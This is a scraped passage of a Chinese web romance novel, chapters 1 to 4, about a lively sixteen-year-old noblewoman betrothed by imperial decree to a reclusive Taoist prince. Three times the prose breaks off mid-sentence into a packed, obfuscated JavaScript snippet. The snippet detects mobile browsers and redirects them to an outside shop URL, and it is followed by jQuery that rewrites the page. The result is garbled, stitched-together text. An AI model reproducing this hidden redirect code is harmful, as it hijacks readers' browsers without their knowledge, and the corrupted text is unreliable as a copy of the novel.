《修道皇叔今天吃醋了吗》 1. 第 1 章 “安娘,你今日一早去宸王府可见到人了?” “别提了,根本没见到人。” 说话的女子肌肤塞雪、眸如杏仁,目光如微风吹拂春水惹起的淡淡涟漪,颜色如桃花般娇媚可爱得让人挪不开眼,只是此时她眉头轻蹙,望着眼前的酒坛子,看起来愁容满面。 这女子正是仁国公府的二娘子,姜奕安。 她一身胭脂红的海棠花锦袍,衬得容色绝美。 今夜,她正与自己的手帕交李怀茵,在全盛京城最大的酒楼望月楼中饮酒。 昌宁郡主李怀茵按辈分与当今圣上是堂姐弟,只是早已出了五服,但因其祖父恭王是皇亲中辈分和年纪最长的一位,在宗亲中颇有威望,家中虽无人入仕,她的日子过得也颇为滋润,和姜奕安志趣相投,都是活泼好动的性子。 眼前是舞步飞旋的美艳舞姬,还有各色时新瓜果、新奇菜式、精致果子、美酒佳酿,姜奕安却没了往日的好心情,屏退了侍婢和舞姬,竹筒倒豆子一般向李怀茵表达对婚事的担忧,并哭诉今日的遭遇。 这事还要说回到三日前,先帝孝期刚满,陛下便颁下圣旨,将姜奕安赐婚于宸王李长昀。 不仅仁国公府始料未及,全盛京也震动了。 先帝三年前龙驭宾天,当今陛下以皇太孙的身份登基,而这位宸王李长昀,便是先帝幼子,也是当今陛下的九皇叔,今年已二十有七,但姜奕安年方十六,二人的年岁着实差得多了些。 而且,全盛京城都知道,李长昀已看破红尘、潜心修道,早绝了情爱之念,恪守清规戒律,半只脚迈进了道观,若不是奉先帝遗命辅政幼帝,只怕如今已彻头彻尾是个道士了。 可是姜奕安生性自由,淘气爱玩,别说与这位九皇叔婚后情投意合、比翼双飞了,只怕是,要么自己被管束得疯疯癫癫,要么是二人在家中闹得鸡飞狗跳,日子怎能过到一起去? 姜奕安可不是逆来顺受、坐以待毙的性子,公然抗旨怕是不成,那便只能从宸王李长昀身上下功夫了。 故而她今日悄悄去了宸王府,想向李长昀陈明利害,劝他想法子拒了这门赐婚。 她就不信,看破红尘的半个道士,能愿意娶自己这样的妻子? 可让她没想到的是,她竟没见到李长昀的面。 宸王府的门房听姜奕安说明来意,干巴巴道:“王爷嫌京城吵闹,很久没回府了,只在道观住着。” 姜奕安又道:“那烦请告知如何前往,我亲自去便是。” 门房面上仍是没什么表情,只道:“王爷正在清修,不可打扰。” 姜奕安不愿就此放弃,坚持道:“那烦请帮忙报个信,就说仁国公府二娘子有要事相商。” 门房脸上的皱纹似是动了动,但也只是一瞬,又恢复了那副无甚表情的脸色,道:“王府中只留了小人看家,实在不敢擅离职守。” “怀茵你说,莫说是皇亲国戚了,这盛京城中,哪个有头有脸的府邸只留一个门房看家的……” 姜奕安抱起手臂,樱唇微微撅着,一副非常不服气的样子。 身旁的李怀茵面色酡红,一脸心疼地拍着姜奕安的肩膀,道:“不如明日我们便进宫,一起去陛下面前求他收回成命,我们和陛下虽有君臣之分,可这么多年也算是陛下的好玩伴,他应当不会看你往火坑里跳吧。” 姜奕安摇了摇头,苦着脸道:“陛下本就年幼,不好御下,若真劝陛下收回成命,陛下如何在朝中立威?” “你说的确实有理。”李怀茵叹息了一声,小口地抿着酒道,“但其实若是九年前的九皇叔,你嫁给他倒也极好。” 姜奕安闻言,眨了眨眼睛,安静地听着。 “少年时期的九皇叔,母妃虽早逝但却是先帝最宠爱的嫔妃,故而先帝爱重他远胜其余皇子,九皇叔外祖家又是为大盛护卫西北的平西侯府,那时的他文武双全,前途无量,不知迷倒了全盛京多少小娘子。” 那时姜奕安年岁虽小,但也算亲眼见证过。 李长昀十四岁前往西北边关历练,大破敌军屡立奇功,三年后回京时全城百姓却夹道相迎,都想一睹这位玉面将军小王爷的风采。 六岁的姜奕安那时也去凑了热闹,只是姐姐抱着她,在人声鼎沸中被挤来挤去,只透过人群的缝隙瞧见了汗血宝马上那抹绯红的身影,还有在空中飘散、似雪纷飞的花枝。 她当时还凑热闹,从地上捡了只花扔过去了,只是那只花根本未近他的身,就被踩在了马蹄下。 当时姐姐瞧见了,一边笑一边道:“这花是年轻娘子送给心爱郎君的,等安娘长成大姑娘了再扔也不迟。” 姜奕安现在回忆起来,后悔得想剁手…… 非要给他扔什么花,结果现在,要嫁给他了…… 只是十七岁意气风发的少年王爷,变成了如今二十七岁暮气沉沉的半个道士。 这其中的故事,姜奕安是有所耳闻的。 一切都源于九年前的先定王之乱。 先定王李长晖是先帝第三子,其母明皇后是先帝发妻,九年前,即崇平十九年,逼宫谋反。 当时盛京城腥风血雨、尸横遍野,姜奕安的父母便是在那场宫变中被杀害的…… 而当时的宸王李长昀领平西侯府的平西大军主力攻入盛京平叛,扫荡叛军,挽救大盛朝于危难之际。 这于宸王、平西侯府而言本应是大功一件,可勤王过后,西戎却进犯银州地界,平西大军主力只得迅速领命折返,谁知银州却遭了涝灾,大军得胜归来东渡宁河时,全军葬身鱼腹。 只李长昀和零星士兵活了下来…… 而李长昀回京复命后,不知发生了什么,便以修道为名住进了清平宫,整整六年。 直到三年前,先帝病危,弥留之际颁下遗旨,命李长昀为帝师辅政,令朝野震动。 李长昀才终于走出了清平宫,直至今日,从一个光杆王爷,成为能与诸葛首辅掰掰手腕的辅政大臣。 李怀茵有些醉了,抱着酒坛子道:“听祖父和父亲说,九皇叔一心修道,除了上朝议政、教授陛下以外,不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659089|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人前露面,不问红尘俗事,性子也越来越古怪。” 李怀茵眯着一双小狐狸般的眸子,竟然呜呜地哭了起来。 “我的手帕交,至交好友,要变成我的皇婶了……” 一听这话,姜奕安的心沉到了谷底。 “快喝,快喝,喝醉了就不用想这些事了……”李怀茵拿起酒杯给姜奕安斟满递了过去。 桂花酒性温,入喉微甜却也有些辣,若是平日,姜奕安因受不住辣,只饮个三两杯便停,可是今日,这点辣穿过喉咙,却有种舒爽之意。 被赐婚的无能之怒,吃闭门羹的无措之怒,都在这一刻消散了似的。 果然酒能消愁。 姜奕安不知饮了多少杯,还觉得不过瘾,便抱着比自己头还大的酒坛子,想将酒全灌进去。 谁知那酒坛已经空了…… 姜奕安突然觉得十分委屈,今日竟连酒坛都跟自己作对。 姜奕安通红的眸子有了些湿意,醉意上头,几欲晕厥,再也憋不住,抱着身旁的李怀茵,呜呜地哭了起来。 “我不想嫁人,我不要嫁给臭道士!” “安娘,我想你一直是我的安娘,你不能是我的皇婶啊!” 两个小娘子抱头痛哭。 …… 酒室之中令人沉溺的花香和酒气交织在一起,地上凌乱地散落着酒坛。 李怀茵已醉得不省人事…… 姜奕安抱着最后一个酒坛子,却发现一滴也没有了。 姜奕安原本莹白如玉的小脸上红霞缭绕,眸子似蒙上了一层淡淡的水雾,看什么都不太清明,但仍然摇摇晃晃地起身,抱着酒坛子,踉踉跄跄地往门口走去。 她得去寻点酒才行。 胭脂红的锦缎衣裙掠过织金错银的柔软波斯地毯,姜奕安头昏昏沉沉的,根本抬不起腿,只一步步向前挪动,看到了门外影影绰绰,似有人影,她下意识上前推门,唤了一声她贴身婢女的名字“拂冬”。 门一下被推开,酒室外面觥筹交错的气息、人声鼎沸的响动扑面而来,混乱斑驳的光亮更让她眼前一晃。 姜奕安霎时感觉自己来到了另一个世界,怔愣间还以为自己仍踩在柔软的波斯地毯上,脚步前挪,竟被门槛绊了一下,直直地向前栽去。 然而还未摔倒,被檀香包裹着的青松气息瞬间侵袭而来,姜奕安被一双手握住了手臂。 那双手手指纤长、骨节分明、颇有力量,左手拇指上还套着一只紫檀木戒。 他身上的香气,好像年幼时给自己授课的夫子…… 姜奕安的一双大臂被放在这手心里紧紧握住,但她怀中抱着的酒坛子却应声落地,落在这人一尘不染的皂靴边。 姜奕安目光追随着酒坛,微微蹙眉,抬头看向扶着自己的人。 怎么人在转圈? 不过他好高,好宽,好大啊…… 姜奕安虽思绪飘远了,但还记得自己的“正事”,扁了扁嘴,有些委屈道: “大叔,你怎么把我的酒坛摔了?” 2. 第 2 章 “二娘子!” 姜奕安感觉自己身旁多了一个人,将自己给扶住了。 婢女拂冬紧紧抱住姜奕安,向眼前的男子致歉,道:“对不住郎君,我家娘子醉了,多有冒犯,还望见谅。” 姜奕安又开始不老实了,伸出手指在拂冬眼前晃着,道:“我没醉,我还能再来一坛。” 那双手仍维持着原本的姿势,听到这话才缓缓收回,背在了身后,只是手指紧紧捏住木戒。 男子身旁还立着一位留着山羊胡的护卫,双目瞪得老大,目光在自家主子和姜奕安之间流连。 男子终于放过了自己手指上的木戒,沉下一口气,道:“饮酒太过终是伤身,日后还是节制些好。” 姜奕安将头搭在拂冬身上,紧紧抱着她,歪着头看向男子,小声道:“我又没喝大叔家的酒……” “娘子,这位不是大叔,是位年轻郎君……”拂冬悄声在姜奕安耳边说着,一脸歉意地望向男子。 男子约莫二十出头的年纪,肤色甚白,剑眉星目,眸中似有化不开的浓墨,一身素白棉袍裹住了清瘦挺拔的身躯,似是冬日厚雪包裹住的青松一般,只立在那里不言语、无动作、无表情,便显见风骨、颇显威仪。 姜奕安小脸红扑扑的,没骨头似的软在拂冬身上撒娇,道:“那他怎么跟陈夫子熏一样的香,陈夫子就是大叔了,他怎么不是……” “还摔我的酒坛,不让我饮酒,陈夫子也满腹大道理,这个不许、那个不准的……” 跟醉鬼是没法讲道理的。 男子又捏紧了木戒,缓缓地碾着,而且薄唇微微抿起…… “安娘,安娘你去哪里了?” 酒室内的李怀茵出现在了门口,看起来酒醒了些,只是脸上的红晕仍未消散,待她看清眼前的情景,惊得结结巴巴,试探着道:“九……九皇叔……” 他怎会突然出现在望月楼这样的地方? 李长昀望向李怀茵,似是才忆起这女子是何人,沉默着抿了抿唇,才道:“如今外面业已宵禁,你们准备如何回府?” 李怀茵不敢实话实说,她们是骗了家中,打算在这里欢聚到明日一早再回府的…… 李怀茵磕磕巴巴说不出话,帮着拂冬扶住了姜奕安,在她耳边道:“九皇叔来啦,你的未婚夫,你不是想见他的吗?” “你别乱说,那个臭道士怎么可能是我未婚夫呢……”姜奕安很不情愿,顺势搂住了李怀茵,脸上涌现出了幸福的颜色,柔声道,“我不想他,我只想你……” 接着,李怀茵肩上便传来了均匀的呼吸声。 李长昀闭了闭目,感觉烦闷至极,在心中默念了几句《道德经》,缓缓睁开双目,似是恢复了常色,目光掠过楼下仍觥筹交错、灯火通明的场景,道:“禁军那边,本王已打好招呼护送你们各自回府。” “剩下的,你们就自求多福吧。” 李怀茵心道,这个时辰回府,那不明摆着告诉府中,她们几个宴饮到现在吗…… 但她哪敢说个不字…… 李长昀转身欲走,目光掠过那团没骨头似的胭脂红身影,只停留了一瞬,便移开了目光,迈着大步离去。 …… 姜奕安感觉很不好。 她也不知自己睡了多久,醒来时眼睛痛得厉害,头晕眼花还没什么力气。 姜奕安向来有赖床的习惯,可是仅剩的回忆便是在望月楼与李怀茵抱头痛哭的场景,其余皆是一片混沌,她心中一惊,猛然睁开双目。 眼前是绯红的纱帐,朦朦胧胧透着柔和的日光,中秋买来的兔儿灯还挂在帐上,轻轻摇着。 是自己的闺房。 姜奕安心下稍安,轻轻唤了一声“拂冬”。 屏风旁贵妃榻上的拂冬立刻起身,纱帐轻启,“哎哟”一声,道:“娘子可终于醒了,快些起身吧。” 姜奕安也没起身,懒懒地伸着懒腰,嘟囔道:“现在是什么时辰了?” “已经未初了。”拂冬神色焦急,将衣裙端正叠放在床边,凑近姜奕安耳边轻声道,道,“娘子快起身沐浴,大娘子因昨夜娘子饮酒之事生气得紧,等着要训娘子呢……” 姜奕安这才回过神来,惊讶道:“姐姐怎么知道的?” 昨日是初一,姐姐去城外圣佛寺上香,并会夜宿寺中,她才敢在外夙夜饮酒不归的。 难道出了什么意外? 拂冬神色怪异,似是有些不忍,纠结着道:“昨夜的事,娘子还记得多少?” 姜奕安心中一沉。 她虽好饮酒,但还未醉成昨夜那般过,拂冬这样说,难道是发生了什么不堪回首之事? 拂冬一看娘子这副模样,心中明白了三分,只含糊道:“昨夜娘子和郡主都醉得不省人事,一直到了宵禁的时辰。” “然后,宸王殿下出现,派人跟禁军打了招呼,娘子才能安稳回府。” 姜奕安眸子猛然睁大,一下便坐起身,道:“他……他昨夜出现了?” 拂冬点了点头。 “我和他见面了?” 拂冬点头。 “说话了?” 拂冬又点头。 姜奕安看拂冬一脸尴尬,感觉自己心沉到了谷底…… 她饮醉了酒,就喜欢胡言乱语。 姜奕安不由自主将被子裹在了身上,放轻了声音,道:“我当着他的面,有没有说什么过分的话?” 听着拂冬娓娓道来,姜奕安脸色越来越红,被褥越裹越紧,头越来越低,羞耻感逐渐淹没了她,待拂冬说完,便“哎哟”一声,一头栽倒在了枕上。 她怎么能!怎么能! 她没脸见人了…… 羞耻之意快要将她淹没了,姜奕安忍不住在床上翻滚了一下。 待渐渐冷静下来,姜奕安突然反应过来。 宸王这样的人,夜里不应该在道观里念经修行吗,怎么会去望月楼这样喧嚣吵闹、饮酒快活的地方? 姜奕安想不通。 不过,往好的一面想,说不定九皇叔看到自己那副模样,会对自己生出不满,主动退婚呢! 姜奕安又生出了几分希望。 拂冬有些急,催道:“娘子,大娘子还等着您呢,还是快些起身梳妆吧……” 姜奕安这才想起姐姐生气的事,连忙起身,道:“你还没说,姐姐如何知道的呢?” 拂冬面露难色,道:“本身是不知道的,谁知今日一早大娘子回府之后,宸王殿下的人便来了,将昨夜娘子在望月楼醉酒之事告诉了大娘子,还说宸王殿下事忙,不必去谢……” 姜奕安如遭雷击。 这人!一把年纪了怎么还玩告状的把戏! 一定是在报复自己! 姜奕安又急又气,在心中将李长昀骂了千百遍,终于起身换上衣裙,根本来不及沐浴,便飞快地去寻姐姐。 姜奕安进屋时,便见姐姐姜奕宛坐在桌旁,手指捏着眉心。 姜奕宛今年二十有七,一身黛衣显得面容苍白之极,一头乌发盘得紧紧的,只端正地插着一只芍药银簪,听见动静后才缓缓睁开双目。 她眉眼间与姜奕安有七八分相似,只是眸子不显光彩,略微有些黯淡,看起来神情恍惚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659090|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜奕宛身为仁国公府嫡长女,自小被规矩束缚着长大,从无逾矩之处,在全盛京城修得一个贤良淑德、温柔娴静好名声,故而才被当时还是贵妃的太皇太后看中,求了先帝赐婚,做了诸葛丞相府的嫡长媳。 姜奕宛夫君诸葛诚本是禁军统领,于九年前先定王之乱时为护卫宫城而为国捐躯,先帝感怀功臣忠勇,又怜惜姜奕安年幼失恃失怙,特赐姜奕宛“贞德夫人”的一品诰命,允她可于娘家抚养幼妹成人。 如今仁国公府中,只剩姜奕宛姐妹二人了。 姜奕宛守寡了九年,也养了姜奕安九年。 因此对姜奕安而言,姜奕宛既是长姐,又是母亲。 姐姐对她多有纵容溺爱,她也最看不得姐姐伤心生气。 姜奕宛闻得她身上的酒气,气得摔了茶杯,眼泪立刻涌了出来,道:“我知你生性不爱拘束,也不愿拘着你的性子,唯愿你自由洒脱、恣意快乐,可你……你去那望月楼饮酒,还夜不归府,可曾想过我半分,若你真在外出了什么事,让姐姐怎么活下去!” 姜奕安自知理亏,乖乖跪下,泪水在眼眶里打转,垂着头道:“我错了,姐姐莫要气坏了身子,我这就去抄诗经一百遍,只要姐姐能消气,抄一千遍也可以……” “若我再敢犯一次,就让我下辈子变成小狗,再也做不成人了!” “说什么胡话!” 姜奕宛呵斥了一声,却气不起来了…… 每次她这妹妹犯了错,便是这幅乖乖认错的态度,让她登时偃旗息鼓,有再大的火气也撒不出来了…… 只是下一次,虽说姜奕安不会再犯同样的错误,但总能惹出旁的麻烦让她心惊胆战…… 姜奕宛无奈地叹息了一声,伸手抚着胸口,道:“你该庆幸,这次遇到的是宸王殿下,而非什么不三不四的人……” 姜奕安一听宸王的名字,扁了扁嘴。 一定是昨夜她在他面前失了分寸胡言乱语,所以他便用这种法子报复自己…… 姜奕宛伸出手指摁了摁头,道:“罢了,你去祠堂跪上两个时辰,再抄一百遍诗经,明日一早给我。” 姜奕安不敢违逆姐姐的意思,恭敬应下,起身行过礼便离去。 待姜奕安离去,贴身侍婢拂春伸手摁着姜奕宛的额头两侧,道:“大娘子莫要忧心了,睡一会吧。” 姜奕宛头疼得厉害。 她强支着仁国公府,为幼妹撑起了一个家,从不拘着她的性子,随她玩去、闹去。 姜奕安也不负她所望,性子舒朗畅快、活泼爱笑。 可如今她就要嫁人了,未来夫君还是宸王,这样的性子在宗室之中,只怕是要吃亏的…… …… 城外玄清观中,一身青色道袍的李长昀,正在园子的棋盘前,与眼前的长者对弈,他的身旁还乖乖坐着一只狼。 那只狼通体灰白,双目炯炯有神地盯着棋盘,若瞧不见它隐藏的锋利牙齿,看起来倒像只狗。 竹林沙沙作响,隐去了外面的喧闹,二人身旁燃着的,正是掺着些青松气息的檀香。 长者也是道袍,正是这道观的主人陈云鹤,饶有兴趣地捋着胡子道:“昨夜见过你那未婚妻了,感觉如何?” 李长昀手执黑子,仔细思忖着眼前的破局之法,并不言语。 山羊胡护卫春雷上前,行礼道:“已按殿下吩咐告知了贞德夫人,也在仁国公府安插人手盯住了。” 李长昀落子干脆,蚕食了白子的大半江山,摆摆手让护卫退下,抬眸看向陈云鹤,道: “她这性子……实在是娇纵太过了。” 3. 第 3 章 第3章 李长昀在昨夜之前,从未见过姜奕安。 只是在府中管家送上她的庚帖时,看过一眼她的生辰八字。 其余的,再无印象了。 陈云鹤闻言笑了,捋着胡须道:“你这是在怪我这个夫子不称职?” 李长昀抬眸看向陈云鹤,轻轻挑眉道:“我竟不知你做过她的夫子,既如此,那她这性子倒也情有可原了。” 陈云鹤忍俊不禁,道:“年纪轻轻的小女郎,若养成如你一般老气横秋,那岂不是造孽。” 李长昀抿了唇,落下一子,道:“你输了……” 陈云鹤干脆利落地投子,道:“你有多少年没去过望月楼那种地方了?” 李长昀捡拾着棋盘上的棋子,看起来并不太在意,只是放轻了动作,道:“你这是何意?” “你昨日听闻她去你府邸寻你不见,得知她去了望月楼,便去那里寻她,究竟是谁输了?” 李长昀并不抬头,只道:“我说的是棋,你输了。” “你怎知,我说的不是棋呢?” 李长昀抬眸看向陈云鹤,微微眯了眯双目,道:“太皇太后想看我娶妻,那我娶了让她放心便是,于我而言,娶谁也并无分别,反而,娶她这样一个……” 李长昀有些迟疑,捏紧了手中的棋子,缓缓放入了棋盅,道:“这样一个心思单纯、无甚城府的女子,倒是有些好处。” 陈云鹤略正色,沉默了半晌,道:“先定王之乱时,她才七岁,便目睹了父母那般凄惨地故去,已是命途多舛,还请你莫要好生待她。” “云鹤兄的意思,我明白。”李长昀轻轻笑了笑,道,“我早晚是要皈依的,在我皈依之前定会给她一个好的出路。” 陈云鹤叹息了一声,道:“贫道已是半截入土的人,在此修道养身乃是顺应天意,但你还有大好年华,何必蹉跎呢?” “别让你的过去,困住了你的将来。” 棋盘上的棋子已经空了,李长昀指尖掠过拇指上的木戒,缓缓起身,整了整衣衫,道:“时辰到了,云鹤兄留步。” 夏日略带燥意的微风拂过,竹林的响动更烈,李长昀衣袂飘起,却丝毫不影响他步履坚定,一步步走得很稳。 那只狼望着李长昀的背影叫了一声,而陈云鹤望着那逐渐远去的身影,长长地叹息了一声。 …… 姜奕安并未立刻去跪祠堂,反而修书一封,让拂冬派人送往淑慧大长公主府,给她的好友陆鸣鹤。 陆鸣鹤是淑慧大长公主的幼子,对入仕建功浑然不感兴趣,只醉心书画,给自己起了个食野居士的雅号,虽还不满双十,但书法丹青已冠绝大盛,是陛下的书画老师。 明日是初三,正是陆鸣鹤进宫为陛下教授书画的日子。 想要推掉这门婚事,她还得先探探陛下的意思才是…… 姜奕安才跪了一个时辰祠堂,姜奕宛便派了拂春去唤她用晚膳。 姜奕安愉快之极,一阵风似的闪进了姐姐的兰蕙轩,用膳时极尽讨巧之能,亲自给姐姐布菜,将姜奕宛哄得眉开眼笑,用了两碗饭。 姜奕安向来爱吃荤腥和甜食,食量与同龄的小娘子相较,算是多的,亏得她活泼好动,因而身量纤纤、轻盈灵动。 用完了晚膳,姜奕安拖着姐姐在庭院里散了会步,又拿出了毽子,硬拉着姐姐,和拂春、拂冬一起围着踢了一会。 姜奕宛向来不爱动,只踢了一会便不行了,和奶娘魏嬷嬷坐着一起歇息,瞧着自家妹妹,脸上满是愉悦和欣赏。 姜奕安和两个婢女越玩越兴起,一起玩到了掌灯时分,脸颊泛着淡淡的红,活像个小蟠桃。 姜奕宛将妹妹唤到身前,拿出帕子一边给妹妹揩汗,一边道:“时候不早了,快去歇着吧,那书明日再抄便是,不必急。” 姜奕安蹲着身子由着姐姐给自己擦汗,像只摇尾巴的小猫咪,甜甜地应下,道:“姐姐真是世上最人美心善的好娘子。” “就你油嘴滑舌!” 姜奕宛点了点妹妹的鼻子,目送着她挽着两个婢女,蹦蹦跳跳地离开了自己的院子,眸中不由得泛起了些泪光…… 记得那日她得知赐婚之事,急匆匆进了寿康宫,她亡夫的姑母诸葛太皇太后微笑着扶起她,轻轻拍着她的手,道:“哀家是心疼你和你妹子的,瞧瞧,给你妹子指了多么好的姻缘。” “以后,咱们就是亲上加亲了。” 那宸王李长昀在一侧立着,神情不悲不喜,只是淡淡的,薄唇轻启,缓缓道:“贞德夫人请放心,姜二娘子,本王会爱之重之。” 当年,她的亡夫也这般说过,会爱重自己,但是平静如水的婚姻之中,从没有爱意,也没有缠绵,只有冷得像冰的相敬如宾,和僵硬苦闷的同床异梦。 可她又能做什么呢? 一如今日,这么多年过去了,她根本反抗不得,只能多为妹妹准备些嫁妆。 姜奕宛强打着精神,和拂春、魏嬷嬷继续清点着嫁妆。 …… 昨夜,姜奕安满脑子都是拂冬描述中的望月楼情景,十分罕见地失眠了。 故而第二日早上巳时过了才醒,挑了一身藕色绣百合花的衣裙穿在身上,给姐姐请安回来后,便开始用早膳。 庖厨今日蒸了小笼包,开花褶子按姜奕安的喜好叠得很劲道,而且汁水丰盈、皮薄馅大,混了新鲜的虾仁裹上陈醋,姜奕安吃了整整一笼,顿时感觉满足无比。 然而正当姜奕安铺开笔墨准备抄书时,管家姜平来报,说宫中陛下传召姜奕安入宫。 姜奕安心中一喜。 想来是陆鸣鹤起了作用。 姜奕宛也得到了消息,急匆匆赶来,见姜奕安已经穿戴整齐,放心了几分,仍道:“陛下此时突然传召有些蹊跷,你先进宫,待姐姐换上命妇服,便去求见姑母,若你有事,便派人去寿康宫寻我。” 姜奕安急忙摇头,道:“想来是陛下在宫中烦闷了,想召我进宫解闷罢了,以前也有过的,姐姐不必忧心。” 姜奕宛仍不放心,姜奕安又劝了好久,姜奕宛才松口,不过仍坚持让拂春陪姜奕安一起进宫,叮嘱道:“进宫记得同诸葛大统领说一声,让他帮忙照看些。” 如今的禁军大统领是姜奕宛亡夫的亲弟弟,诸葛让,对姜家姐妹向来颇为照顾。 拂春应下,姜奕安见状也不再多劝,向姐姐告别后,便与拂春拂冬二人离开了仁国公府。 到了宫城边上,姜奕安从来不用马凳,直接干脆利落地跳下马车,便瞧见诸葛让正立在宫城门口。 诸葛让皮肤黝黑,身材高大,禁军银亮的盔甲穿在身上更显得英武不凡,和姜奕安的姐夫有着七八分相似,只是面容看起来更稚嫩些,如今二十出头的年纪,却已十分沉稳,见姜奕安来了,便将跨间的刀往身后藏了藏,快步走上前来。 “见过大统领。” 姜奕安很喜欢这位诸葛阿兄,自己曾学了三四个月的剑术,便是缠着他教的。 那时姜奕安才刚满十岁,想每隔几日去诸葛府上跟他学一会,诸葛让却推说不用,那时他已在禁军中领了职位,却每日雷打不动去仁国公府教她,姐姐还会安排他在府上用晚膳。 只是姜奕安嫌练剑枯燥疲累,只学了个花架子便不想再学,诸葛让还有些遗憾,说姜奕安是个练武奇才,不练可惜,但见姜奕安坚持不学,便也不再坚持。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659091|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从那以后,与她们两姐妹见面就少了,只是每次姜奕安和姐姐入宫,都能碰到他在宫门口。 诸葛让的目光移向姜奕安身后的马车,见无人再下,笑容矜持了些,问道:“嫂嫂她并未一同前来吗?” 姜奕安摇摇头,道:“姐姐本是要陪着的,但陛下只传召了我,我便让姐姐在家中休息了。” 诸葛让“哦”了一声,伸手握住了刀柄,那刀便从身后缓缓回到了身侧。 拂春忙将姜奕宛的嘱咐一并告知,诸葛让又看向姜奕安,道:“若有要帮忙的,去寻殿外禁军即可,他们都知道去哪里寻我。” “大统领放心便是,我可机灵着呢。” 姜奕安笑着向诸葛让行礼,便跟着前来引路的公公进了宫。 诸葛让长长地吐出一口气,也不在宫门口逗留,转身便唤了几个禁军,去了演武场。 …… 小太监引着姜奕安在勤政殿外候着,只见朱红的身影缓缓从殿内走出。 姜奕安认出了来人,不由得站直了身子。 这位便是秉笔太监崔悯,陛下甫一出生,便伴驾伺候,在司礼监中的地位仅次于伺候太皇太后的掌印太监汪展。 “见过姜二娘子。”崔悯的脊背仍是弯的,低敛着眉,压住了狐狸般的眸子,唇角勾出了一个浅淡的笑容,柔声道,“还未恭贺二娘子赐婚之喜。” 姜奕安在宫中受他关照不少,也还了一礼,道:“公公客气了。” 崔悯侧身避过,用拂尘引路,道:“陛下正在殿中等着,二娘子请。” 姜奕安进了殿中,便见只比龙案高半个身子的皇帝皱着小脸提笔写字,陆鸣鹤立在一旁,时不时出声指点几句。 姜奕安行礼,小皇帝李怀荆听到声音十分高兴,撂下笔便让姜奕安平身,跑到了她面前,兴冲冲道:“安姐姐你可来了。” “朕这几日便想召你进宫陪朕玩,可皇祖母说,你可能忙着备嫁。”李怀荆拽着姜奕安走向龙案,道,“若不是朕今日听鸣鹤兄提起你在府中憋闷坏了,朕还不好召你进宫呢。” 小皇帝李怀荆年仅九岁,仍是天真好玩的年纪,在这一方面与姜奕安志趣相投。 姜奕安向陆鸣鹤投去了赞扬的眼神,陆鸣鹤抬了抬眉,目光很是十分得意。 李怀荆看着姜奕安略显拘谨的神色,道:“崔公公,殿中不必那么多人伺候,你在殿门候着即可。” 崔悯恭敬应是,向宫人们使了个眼色,便一齐退出大殿。 陆鸣鹤自然知道姜奕安此行目的,也道:“臣去准备陛下今日临摹的字帖,先告退了。” 李怀荆点头,姜奕安见陆鸣鹤和宫人鱼贯而出,便又笑着道:“陛下给臣女赐婚之后,怎么就不宣臣女进宫陪陛下了?” 李怀荆打量着她的神色,缓缓垂下了头,道:“安姐姐,你不怪朕吗?” 姜奕安没想到小皇帝会是这个反应,一下愣住了。 “赐婚本是皇祖母的意思,她说,若皇祖父还在世,必不愿看到九皇叔避世修道、孤独终老,若九皇叔当真做了道士,她无颜去九泉之下见皇祖父了。”李怀荆面露忧愁之色,道,“朕虽觉得皇祖母所言有理,但盛京城多少闺秀,谁嫁不得,为何非要安姐姐呢?” 是啊,这也是姜奕安的疑惑,为什么非挑她这样的女子呢? “总之,一切虽是皇祖母的安排,但朕也曾问过九皇叔的意思。” 姜奕安不禁竖起了耳朵,放轻了呼吸,却见小皇帝道:“他对朕说,得此赐婚,喜不自胜。” 小皇帝脑海中回想起当时九皇叔的神情。 却是不悲不喜、毫无波动的,尤其是眼神,似是冬日结了厚冰的深湖…… 4. 第 4 章 姜奕安一早便猜到,这份赐婚应当是太皇太后的意思,但是小皇帝的话,却打破了她一直以来的臆想。 她总觉得,宸王应当是和她一般,抗拒这份赐婚的。 可看小皇帝的意思,宸王可能还挺喜欢她的? 姜奕安试探道:“这两日,陛下可见过宸王殿下?” “这几日九皇叔每日都会来指点朕的功课。”李怀荆向龙案之处抬了抬下巴,脸色看起来有些忧愁,道,“今日一早下朝后,给朕布置了一篇《贞观政要》的论任贤,朕方才在练字,还未做呢。” 想来宸王并未表示过对自己的不满…… 不过,就算宸王曾经对自己有过情意,但瞧见自己醉酒的样子后,也断然忍耐不了…… 李怀荆见姜奕安神色微愣,便微微踮脚,拍了拍姜奕安的肩膀,道:“既然皇祖母已代朕下了这份圣旨,朕也没有法子更改了。” “你若当真不喜欢九皇叔,那就成婚后再和离便是,到时候你来寻朕,无论你喜欢哪个郎君,朕定按你的意思给你赐婚。” 姜奕安觉得哭笑不得,忍不住笑出声来。 孩童的心思总是这么单纯,其中牵涉太皇太后,赐婚哪是那么好和离的。 